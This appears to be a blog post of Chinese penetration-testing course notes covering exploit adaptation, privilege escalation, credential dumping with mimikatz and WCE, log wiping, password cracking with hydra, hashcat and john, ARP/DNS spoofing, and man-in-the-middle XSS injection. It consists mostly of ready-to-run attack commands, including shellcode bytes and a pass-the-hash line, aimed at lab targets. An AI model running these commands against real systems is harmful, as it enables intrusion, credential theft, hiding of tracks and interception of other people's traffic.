FUZZING
- 思路:
- 第一阶段shellcode
- ESP 跳转到 EAX
- 偏移 12 个字节
- setup sound shellcode2
- /usr/share/metasploit-‐framework/tools/nasm_shell.rb
- add eax,12
- jmp eax
- \x83\xc0\x0c\xff\xe0\x90\x90
FUZZING
- 查找坏字符
- \x00\x0a\x0d\x20
FUZZING
- ESP 跳转地址
- Opcode serach
- crash = “\x41“ * 4368 + “\x97\x45\x13\x08“ + “\x83\xc0\x0c\xff\xe0\x90\x90”
- 设断点(0x08134597)
- EIP—— 08134597
- jmp esp
- add eax, 12
- jmp eax
FUZZING
- msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode - b
“\x00\x0a\x0d\x20”
- 05.py
选择和修改 EXP
- 网上公开的 EXP 代码
- 选择可信赖的 EXP 源
- Exploit-db
- SecurityFocus
- Searchsploit
- 有能力修改 EXP(Python、Perl、Ruby、C、C++…)
选择和修改 EXP
- 646.c
- 类unix环境下编译
- 返回地址与我们的环境不符
- 反弹shell硬编码了回连IP地址
- 缓冲区偏移量与我们的环境不符
- 目标IP硬编码
选择和修改 EXP
- 643.c
- Windows环境下编译
- apt-get install mingw32
- dpkg –add-architecture i386 && apt-get update && apt-get install
wine32
- i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe
- wine sl.exe 192.168.20.32
避免有害的 EXP
- 不同的 EXP
- 不同的系统补丁
- 软件版本
- 不同的offset、shellcode
- 扫描探测目标系统版本,搭建适当的测试环境
- 避免一锤子测试
- 修改公开的 EXP 满足不同环境需要
- 了解漏洞原理,修改溢出代码
后漏洞利用阶段
POST EXPLOITATION
漏洞利用后阶段
- 上传工具
- 提权
- 擦除攻击痕迹
- 安装后门
- 长期控制
- Dump 密码
- 内网渗透
- 后漏洞利用阶段
- 最大的挑战 —— 防病毒软件
- 使用合法的远程控制软件
漏洞利用后阶段
- 上传文件
- 持久控制
- 扩大对目标系统的控制能力
- Linux系统
- netcat
- curl
- wget
- Windows
- 缺少预装的下载工具
漏洞利用后阶段
- 非交互模式 shell
- 类 NC远程控制 shell
- ftp 192.168.1.1
传输文件
- Tftp
- Ftp
- Vbscript
- Debug
Q & A
第十章 提权
本地提权
- 已实现本地低权限账号登录
- 远程溢出
- 直接获得账号密码
- 希望获取更高权限
- 实现对目标进一步控制
本地提权
- 系统账号之间权限隔离
- 操作系统安全的基础
- 用户空间
- 内核空间
- 系统账号
- 用户账号登陆时获取权限令牌
- 服务账号无需用户登陆已在后台启动服务
本地提权
- Windows
- user
- Administrator
- System
- Linux
- User
- Root
ADMIN 提权为 SYSTEM
- Windows system账号
- 系统设置管理功能
- SysInternal Suite
- https://technet.microsoft.com/en-us/sysinternals/bb
- psexec -i - s -d taskmgr
- at 19:39 /interactive cmd
- sc Create syscmd binPath= “cmd /K start” type= own type= interact
- sc start syscmd
注入进程提权
- 隐蔽痕迹
- pinjector.exe
抓包嗅探
- Windows
- Wireshark
- Omnipeek
- commview
- Sniffpass
- Linux
- Tcpdump
- Wireshark
- Dsniff
键盘记录
- Keylogger
- 木马窃取
本地缓存密码
- 浏览器缓存的密码
- IE浏览器
- Firefox
- 网络密码
- 无线密码
- http://www.nirsoft.net
- Dump SAM
- Pwdump
- /usr/share/windows-binaries/fgdump/
小心了!
WINDOWS 身份认证过程
WCE (WINDOWS CREDENTIAL EDITOR)
- /usr/share/wce/
- 需要管理员权限
- wce-universal.exe -l / -lv
- wce-universal.exe -d
- wce-universal.exe -e / -r
- wce-universal.exe -g
- wce-universal.exe -w
- LM/NT hash
WCE (WINDOWS CREDENTIAL EDITOR)
- 从内存读取LM / NTLM hash
- Digest Authentication Package
- NTLM Security Package
- Kerberos Security Package
- 防止WCE攻击
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
- kerberos
msv1_
schannel
wdigest
tspkg
pku2u
- kerberos
其他工具
- pwdump localhost
- fgdump
- mimikatz
- privilege::debug #提升权限
- sekurlsa::logonPasswords
- ::
利用漏洞提权
- Ms11- 080
- Kb
- Pyinstaller
- https://pypi.python.org/pypi/PyInstaller/2.
- python pyinstaller –onefile ms11-080.py
- Pywin
- MS11- 046
- DoS
利用漏洞提权
- Ms14- 068
- 库
- ms14-068.py -u user@lab.com -s userSID - d dc.lab.com
- 拷贝 TGT_user1@lab.com.ccache 到windows系统
- 本地管理员登陆
- mimikatz.exe log “kerberos::ptc TGT_user@lab.com.ccache“ exit
利用漏洞提权
- Ubuntu11.
- gcc
- sudo apt-cdrom add && sudo apt-get install gcc
- gcc 18411.c -o exp
- CVE- 2012 - 0056
- /proc/pid/mem
- kernels >=2.6.
- http://blog.zx2c4.com/
利用配置不当提权
- 与漏洞提权相比 更常用的方法
- 企业环境
- 补丁更新的全部已经安装
- 输入变量过滤之外更值得研发关注的安全隐患
- 以system权限启动
- NTFS权限允许users修改删除
利用配置不当提权
- icacls
- icacls c:\windows*.exe /save perm /T
- i586-mingw32msvc-gcc -o admin.exe admin.c
- Find
- find / -perm 777 -exec ls -l {} ;
利用配置不当提权
- 应用系统的配置文件
- 应用连接数据库的配置文件
基本信息收集
- Linux
- /etc/resolv.conf
- /etc/passwd
- /etc/shadow
- whoami and who –a
- ifconfig - a, iptables - L -n, ifconfig – a, netstat – r
- uname – a, ps aux
- dpkg - l| head
基本信息收集
- Windows
- ipconfig /all , ipconfig /displaydns, netstat - bnao , netstat – r
- net view , net view /domain
- net user /domain, net user %username% /domain
- net accounts, net share
- net localgroup administrators username /add
- net group “Domain Controllers” /domain
- net share name$=C:\ /unlimited
- net user username /active:yes /domain
WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)
- wmic nicconfig get ipaddress,macaddress
- wmic computersystem get username
- wmic netlogin get name,lastlogon
- wmic process get caption, executablepath,commandline
- wmic process where name=“calc.exe” call terminate
- wmic os get name,servicepackmajorversion
- wmic product get name,version
- wmic product where name=“name” call uninstall /nointeractive
- wmic share get /ALL
- wmic /node:”machinename” path Win32_TerminalServiceSetting where
AllowTSConnections=”0” call SetAllowTSConnections “1“ - wmic nteventlog get path,filename, writeable
收集敏感数据
- 商业信息
- 系统信息
- Linux
- /etc ;/usr/local/etc
- /etc/password ;/etc/shadow
- .ssh ;.gnupg 公私钥
- The e-mail and data files
- 业务数据库 ;身份认证服务器数据库
- /tmp
收集敏感数据
- windows
- SAM 数据库 ; 注册表文件
- %SYSTEMROOT%\repair\SAM
- %SYSTEMROOT%\System32\config\RegBack\SAM
- 业务数据库 ; 身份认证数据库
- 临时文件目录
- UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\
隐藏痕迹
- 禁止在登陆界面显示新建账号
- REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\WinLogon\SpecialAccounts\UserList” /v uname /T
REG_DWORD /D 0
- del %WINDIR%*.log /a/s/q/f
- History
- 日志
- auth.log / secure
- btmp / wtmp
- lastlog / faillog
- 其他日志和 HIDS 等
Q & A
第十一章 无线渗透
无线渗透
- 与其他章节独立,涵盖面广,可独立成课
- 无线技术变化快 难度大、
- 既新鲜刺激又压力山大
- 一半理论 一半实践
- 无线技术是本课程难度最大的一章
无线技术特点
- 行业迅速发展
- 互联网重要入口
- 边界模糊
- 安全实施而且困难
- 对技术不了解而造成配置不当
- 企业网络私自接入ap破坏网络边界
802.11标准无线
- 应用层
- 表示层
- 会话层
- 传输层
- 网络层
- 数据链路层
- 物理层
无线运行模式
- 无线网络架构
- AP维护ssid
- sta维护ssid
无线渗透实操
aircrack-ng基础
无线渗透和审计工具
包含各种功能的工具套件
- 网络检测
- 嗅探抓包
- 包注入
- 密码破解
检查完卡驱动
开启和停止无线真挺
- airmon check
- airmon check kill
- airmon start wlan2 3
- iwlist wlan2mon channel
- airmon stop wlan2mon
无线抓包
- airodump-ng wlan2mon
- airodump wlan2mon -c 1 –bssid 00:11:22:33:44:55 -w file.cap
- aireplay -9 wlan2mon
- airreplay
(未完……)
第十二章 web渗透
第十三章 密码破解
思路
目标系统实施了强安全措施
– 安装了所有补丁
– 无任何已知漏洞
– 无应用层漏洞
– 攻击面最小化
社会工程学
获取目标系统用户身份
– 非授权用户不受信,认证用户可以访问守信资源
– 已有用户账号权限受限,需要提权
– 不会触发系统报警
身份认证方法
证明你是你声称你是的那个人
- 你知道什么(账号密码、pin、passphrase)
- 你有什么(令牌、token、key、证书、密宝、手机)
- 你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别)
- 以上方法结合使用(多因素身份认证)
基于互联网的身份验证仍以账号密码为主要形式
密码破解方法
人工猜解
– 垃圾桶工程
– 被动信息收集
基于字典暴力破解(主流)
键盘空间字符暴破
字典
– 保存有用户名和密码的文本文件
- /usr/share/wordlist
- /usr/share/wfuzz/wordlist
- /usr/share/seclists
字典
键盘空间字符爆破
– 全键盘空间字符
– 部分键盘空间字符 (基于规则)
– 数字、小写字母、大写字母、符号、空格、瑞典字符、高位ASCII码
crunch [] [options]
默认是小写字符
crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100
- -b 按大小分割字典文件(kb/kib、mb/mib、gb/gib)
- -c 每个字典的行数
- 以上两个参数必须与-o START 结合使用
- -d 同一字符连贯出现数量(11 / aaa)
字典
字符集
- crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv-o 1.txt
无重复字符
- crunch 1 1 -p 1234567890 | more
- 必须是最后一个参数
- 最大、最小字符长度失效,但必须存在
- 与-s 参数不兼容(-s 指定起始字符串)
- crunch 4 4 0123456789 -s 9990
读取文件中每行内容作为基本字符生成字典
- crunch 1 1 -q read
字典
字典组成规则
- crunch 6 6 -t @,%%^^ | more
- @:小写字母 lalpha
- ,:大写字母 ualpha
- %:数字 numeric
- ^:符号 symbols
输出文件压缩
- crunch 4 4 -t @,%^ -o 1.txt -z 7z
- 其他压缩格式:gzip、bzip2、lzma
- 7z压缩比率最大
字典
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha-
numeric-all-space -o w.txt -t @d@@ -s cdab
crunch 4 5 -p dog cat bird
crunch 5 5 abc DEF + !@# -t ,@^%,
– + 占位符
– \ 转义符(空格、符号)
crunch 5 5 -t ddd%% -p dog cat bird
- 任何不同于-p 参数指定的值都是占位符
crunch 5 5 -d 2@ -t @@@%%
字典
组合应用
- crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
- crunch 10 10 12345 –stdout| airolib-ng testdb -import passwd-
字典
按个人信息生成其专属的密码字典
CUPP:Common User Password Profiler
- git clone https://github.com/Mebus/cupp.git
- python cup.py -i
字典
通过收集网站信息生成字典
cewl 1.1.1.1 -m 3 -d 3 - e -c -v -w a.txt
- -m:最小单词长度
- -d:爬网深度
- -e:收集包含email地址信息
- -c:每个单词出现次数
- 支持基本、摘要 身份认证
- 支持代理
字典
用户密码变型
- 基于 cewl 的结果进行密码变型
- 末尾增加数字串
- 字母大小写变化
- 字母与符号互相转换
- 字母与数字互相转换
- P@$$w0rd
字典
使用 John the Ripper 配置文件实现密码动态变型
/etc/john/john.conf
- [List.Rules:Wordlist]
- $[ 0 - 9]$[0-9]$[0- 9 ]
- john –wordlist=cewl.txt –rules –stdout > m.txt
- [List.Rules:test]
$[0-9]$[0-9]$[0-9]$[a-zA-Z]
$[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[`~!@#$%^&*()-_=+] - john –wordlist=cewl.txt –rules=test –stdout > m.txt
- john –wordlist=ahm.lst –rules=test HASHFILE
在线密码破解——hydra
Hydra
– 九头蛇,砍去一个头即长出新头,后为大力神赫拉克勒斯所杀
在线密码破解——hydra
Windows密码破解
- hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd
- hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV
Linux密码破解
- hydra -l root -P pass.lst ssh://1.1.1.1 -vV
其他服务密码破解
- hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64
图形化界面
- xhydra
在线密码破解——hydra
HTTP表单身份认证
- hydra -l admin -P pass.lst 1.1.1.1 http-post-form
“/dvwa/login.php:username=^USER^&password=^PASS^&Login=L
in:S=index.php” -V - hydra -l admin -P pass.lst 1.1.1.1 http-post-form
“/dvwa/login.php:username=^USER^&password=^PASS^&Login=L
in:LoginFailed” -V - /foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H
=X-Foo: Foo
C:先访问指定页面取得cookie
H:指定http头 - https-post-form、http-get-form、https-get-form
- -S:使用SSL连接
在线密码破解——hydra
pw-inspector
– 按长度和字符集筛选字典
- pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l
- pw-inspector -i /usr/share/wordlists/nmap.lst -o P.lst -u
密码破解效率
– 密码复杂度(字典命中率)
– 带宽、协议、服务器性能、客户端性能
– 锁定阈值
– 单位时间最大登陆请求次数
在线密码破解——medusa
Hydra 的缺点
– 稳定性差,程序时常崩溃
– 速度控制不好,容易触发服务屏蔽或锁死机制
– 每主机新建进程,每服务新建实例
– 大量目标破解时性能差
Medusa 的特点
– 稳定性好
– 速度控制得当
– 基于线程
- 支持模块少于hydra(不支持RDP)
- WEB-Form支持存在缺陷
在线密码破解——medusa
medusa -d
破解windows密码
- medusa -M smbnt -h 1.1. 1 .1 -u administrator -P pass.lst -e ns -F
破解Linux SSH密码
- medusa -M ssh -h 192.168.20.10 -u root -P pass.lst -e ns –F
其他服务密码破解
- medusa -M mysql-h 1.1.1.1 -u root -P pass.lst -e ns -F
- medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m
FORM:”dvwa/login.php” -m DENY-SIGNAL:”login.php” -m FORM-
DATA:”post?user=username&pass=password&Login=Login”
在线密码破解——medusa
-n:非默认端口
-s:使用SSL连接
-T:并发主机数
medusa -M ftp -q
离线密码破解
身份认证
– 禁止明文传输密码
– 每次认证使用HASH算法加密密码传输(HASH算法加密容易、解密困难)
– 服务器端用户数据库应加盐加密保存
破解思路
– 嗅探获取密码HASH
– 利用漏洞登陆服务器并从用户数据库获取密码HASH
– 识别HASH类型
1 | 长度、字符集 |
- 利用离线破解工具碰撞密码HASH
离线密码破解
优势
– 离线不会触发密码锁定机制
– 不会产生大量登陆失败日志引起管理员注意
HASH识别工具
- hash‐identifier
- Hashid
- 可能识别错误或无法识别
离线密码破解
Windows HASH获取工具
- 利用漏洞:Pwdump、fgdump、mimikatz、wce
- 物理接触:samdump2
- Kali ISO 启动虚拟机
- mount /dev/sda1 /mnt
- cd /mnt/Windows/System32/config
- samdump2 SYSTEM SAM -o sam.hash
- 利用nc传输HASH
离线密码破解
Syskey工具
- 使用Bootkey利用RC4算法加密SAM数据库
- Bootkey保存于SYSTEM文件中
- Bkhive
从SYSTEM文件中提取bootkey
Kali 2.0 抛弃了bkhive
编译安装 :http://http.us.debian.org/debian/pool/main/b/bkhive/
bkhive SYSTEM key
samdump2 SAM key (版本已更新,不再支持此功能) - 建议使用Kali 1.x
离线密码破解——Hashcat
开源多线程密码破解工具
支持 80 多种加密算法破解
基于CPU的计算能力破解
六种模式
- 0 Straight:字典破解
- 1 Combination:将字典中密码进行组合(1 2 > 11 22 12 21)
- 2 Toggle case:尝试字典中所有密码的大小写字母组合
- 3 Brute force:指定字符集(或全部字符集)所有组合
- 4 Permutation:字典中密码的全部字符置换组合(12 21)
- 5 Table-lookup:程序为字典中所有密码自动生成掩码
离线密码破解——Hashcat
命令
- hashcat -b
- hashcat -m 100 hash.dump pass.lst
- hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d
- 结果:hashcat.pot
- hashcat -m 100 -a 3 hash -i –increment-min 6 –increment-max
8 ?l?l?l?l?l?l?l?l - ?l = abcdefghijklmnopqrstuvwxyz
- ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
- ?d = 0123456789
- ?s = !”#$%&’()*+,-./:;<=>?@[]^_`{|}~
- ?a = ?l?u?d?s
- ?b = 0x00 -0xff
离线密码破解——oclhashcat
号称世界上最快、唯一的基于GPGPU的密码破解软件
免费开源、支持多平台、支持分布式、150+hash算法
硬件支持
– 虚拟机中无法使用
- 支持 CUDA 技术的Nvidia显卡
- 支持 OpenCL 技术的AMD显卡
- 安装相应的驱动
限制
– 最大密码长度 55 字符
- 使用Unicode的最大密码长度 27 字符
离线密码破解——oclhashcat
关于版本
- oclHashcat-plus、oclHashcat-lite已经合并为oclhashcat
命令
- oclHashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a
- ?l = abcdefghijklmnopqrstuvwxyz
- ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
- ?d = 0123456789
- ?s = !”#$%&’()*+,-./:;<=>?@[]^_`{|}~
- ?a = ?l?u?d?s
- ?b = 0x00 -0xff
离线密码破解——RainbowCrack
基于时间记忆权衡技术生成彩虹表
提前计算密码的HASH值,通过比对HASH值破解密码
计算HASH的速度很慢,修改版支持CUDA GPU
KALI 中包含的RainbowCrack工具
- rtgen:预计算,生成彩虹表,耗时的阶段
- rtsort:对rtgen生成的彩虹表进行排序
- rcrack:查找彩虹表破解密码
- 以上命令必须顺序使用
离线密码破解——RainbowCrack
彩虹表
– 密码明文、HASH值、HASH算法、字符集、明文长度范围
rtgen
- LanMan、NTLM、MD2、MD4、MD5、SHA1、RIPEMD160
- rtgen md5 loweralpha 1 5 0 10000 10000 0
- 计算彩虹表时间可能很长
下载彩虹表
离线密码破解——RainbowCrack
彩虹表排序
- /usr/share/rainbowcrack
- rtsort /md5_loweralpha#1-5_0_1000x1000_0.rt
密码破解
- rcrack *.rt -h 5d41402abc4b2a76b9719d911017c592
- rcrack *.rt -l hash.txt
离线密码破解——John
支持众多服务应用的加密破解
- john –list=formats
支持某些对称加密算法破解
模式
- Wordlist:基于规则的字典破解
- Single crack:默认被首先执行,使用Login/GECOS信息尝试破解
- Incremental:所有或指定字符集的暴力破解
- External:需要在主配配文件中用C语言子集编程
离线密码破解——John
默认破解模式
- Single、wordlist、incremental
- 主配置文件中指定默认wordlist
破解Linux系统账号密码
- unshadow /etc/passwd/etc/shadow > pass.txt
- john pass.txt
- john –show pass
离线密码破解——John
破解windows密码
- john sam.dump –wordlist=password.lst–format=nt
- john sam.dump –format=nt –show
Johnny 图形化界面的john
离线密码破解——Ophcrack
基于彩虹表的LM、NTLM密码破解软件
彩虹表:http://ophcrack.sourceforge.net/tables.php
离线密码破解——Ophcrack
在线密码破解
密码嗅探
二、三层地址
– IP 网络到网络
– MAC 主机到主机
交换机与HUB
– HUB全端口转发
– 交换机根据学习地址转发
– 混杂模式抓包
密码嗅探
ARP协议
– 免费ARP
– 基于广播学习
– 以太网头、ARP头
– 请求、响应相对独立
– 基于传闻的协议
密码嗅探
手动修改数据包实现ARP欺骗
arpspoof
- echo 1 > /proc/sys/net/ipv4/ip_forward
- arpspoof -t 1.1.1.12 -r 1.1.1.1
网络嗅探
- driftnet -i eth0 -a -d tempdir-s
- dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts
- urlsnarf -i eth0
- webspy -i eth0 1.1.1.10
- dsniff -i eth0 -m
/usr/share/dsniff/dsniff.services
密码嗅探
DNS欺骗代理
- dnschef –fakeip=1.1.1.10 –
fakedomains=www.google.com,www.youtube.com –interface 1.1.1.2- q
将被害者DNS指向伪造的DNS服务器
中间人攻击
注入XSS
- 即使没有XSS漏洞,也可以凌空向每个HTTP请求中注入XSS攻击代码
- 一旦得手,影响范围巨大
- 如果中间人发生在运营商线路上,很难引起用户注意
Mitmf 安装
- 曾经号称最好用的中间人攻击工具(kali 2.0后默认未安装)
- apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-
queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3
libcapstone-dev libffi-dev file - apt-get install mitmf
- pip uninstall twisted
- wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-
15.5.0.tar.bz2 - pip install ./Twisted-15.5.0.tar.bz2
中间人攻击
启动beef
- cd /usr/share/beef-xss/
- ./beef
mitmf中间人注入xss脚本
- mitmf –spoof –arp-i eth0 –gateway 1.1.1.1 –target 1.1.1.2 –inject
–js-url http://1.1.1.3:3000/hook.js - mitmf –spoof –arp-i eth0 –gateway 192.168.20.2 –target
192.168.20.1 –jskeylogger - –upsidedownternet、–screen(/var/log/mitmf)
- –ferretng(cookie)、–browserprofiler(浏览器及插件信息)
- –smbtrap、–smbauth(不演示)
中间人攻击
–hsts
- HTTP Strict Transport Security
- 防止协议降级、cookie窃取
- 安全策略通过HTTP响应头”Strict-Transport-Security“实施
- 限制user-agent、https等
–filepwn
– 凌空插后门
中间人攻击
Ettercap
– 统一的中间人攻击工具
– 转发MAC与本机相同,但IP与本机不同的数据包
– 支持SSH1、SSL中间人攻击
模块划分
- Snifer
- MITM
- Filter
- Log
- Plugin
中间人攻击
Snifer
– 负责数据包转发
- Unified
单网卡情况下独立完成三层包转发
始终禁用内核IP_Forward功能 - Bridge
双网卡情况下的一层MITM模式
可作为IPS过滤数据包
不可在网关上使用(透明网桥)
MITM
- 把流量重定向到ettercap主机上
- 可以使用其他工具实现MITM,ettercap之作嗅探和过滤使用
中间人攻击
实现MITM的方法
– ARP
– ICMP
1 | ICMP路由重定向,半双工 |
- DHCP
修改网关地址,半双工 - Switch Port Stealing
flood目标地址是本机,源地址是受害者的包
适用于ARP静态绑定的环境 - NDP
IPv6协议欺骗技术
中间人攻击
2.4以上内核对ARP地址欺骗的约束
– 收到非请求的ARP响应包,不更新本地ARP缓存
- Ettercap使用ARP request包进行攻击
Solaris 不根据ARP包更新本地ARP缓存
- Ettercap使用先发ICMP包来更新ARP缓存
中间人攻击
用户操作界面
– -T 文本界面
– -G 图形界面
– -C 基于文本的图形界面
– -D 后台模式
指定目标
- IPv4:MAC/IPs/Ports
- IPv6:MAC/IPs/IPv6/Ports
- /10.0.0.1−5;10.0.1.33/20−25,80,110
中间人攻击
权限
- 需要root权限打开链路层Socket连接,然后使用nobody账号运行
- 日志写入目录需要nobody有写入权
- 修改etter.conf:EC_UID=65534
基于伪造证书的SSL MITIM
- Bridge模式不支持SSL MITM
- openssl genrsa −out etter.ssl.crt 1024
- openssl req −new−keyetter.ssl.crt −out tmp.csr
- openssl x509 −req−days 1825 −in tmp.csr−signkey etter.ssl.crt
−out tmp.new - cat tmp.new>>etter.ssl.crt
- rm −f tmp.newtmp.csr
ARP MITM
字符模式
- ettercap -i eth0 -T -M arp-q /192.168.1.1// /192.168.1.2// -F 1.ef -P
autoadd -w a.cap -l loginfo -L logall-m message
图形界面
SSL MITM
- vi /etc/ettercap/etter.conf
DNS欺骗
- dns_spoof插件配置文件
- vi /etc/ettercap/etter.dns
ARP MITM
Ettercap 日志查看
- etterlog -p log.eci 查看获取的密码
- etterlog -c log.ecp 列出Log中的连接
- etterlog -c -f /1.1.1.1/ log.ecp
- etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp> aa
选择相应的连接并榨取文件
ARP MITM
Filter
- /usr/share/ettercap/
SSH-2.xx / SSH-1.99 / SSH-1.51
- etterfilter etter.filter.ssh -o ssh.ef
替换HTTP内容
- if (ip.proto == TCP && tcp.src == 80) {
- msg(“data on TCP 80\n”);
- replace(“img src=”, “imgsrc="http://1.1.1.1/1.gif\" “);
- replace(“IMG src=”, “img src="http://1.1.1.1/1.gif\" “);
- replace(“IMG SRC=”, “img src="http://1.1.1.1/1.gif\" “);
- }
中间人攻击
ICMP
- -M icmp:00:11:22:33:44:55/10.0.0.1(真实网关的MAC/IP)
DHCP
- −M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1(DNS)
Port
- -M port /1.1.1.1/ /1.1.1.2/
Ndp
- -M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/
Pass the Hash (PTH)
密码破解耗费时间资源巨大
使用密文提交给服务器直接完成身份认证
NTLM/LM是没有加盐的静态HASH密文
企业中使用ghost等工具克隆安装系统
pth-winexe -U
w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063
716ab7fe2a11faf126d8 //1.1.1.1 cmd
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 学松的小毛驴!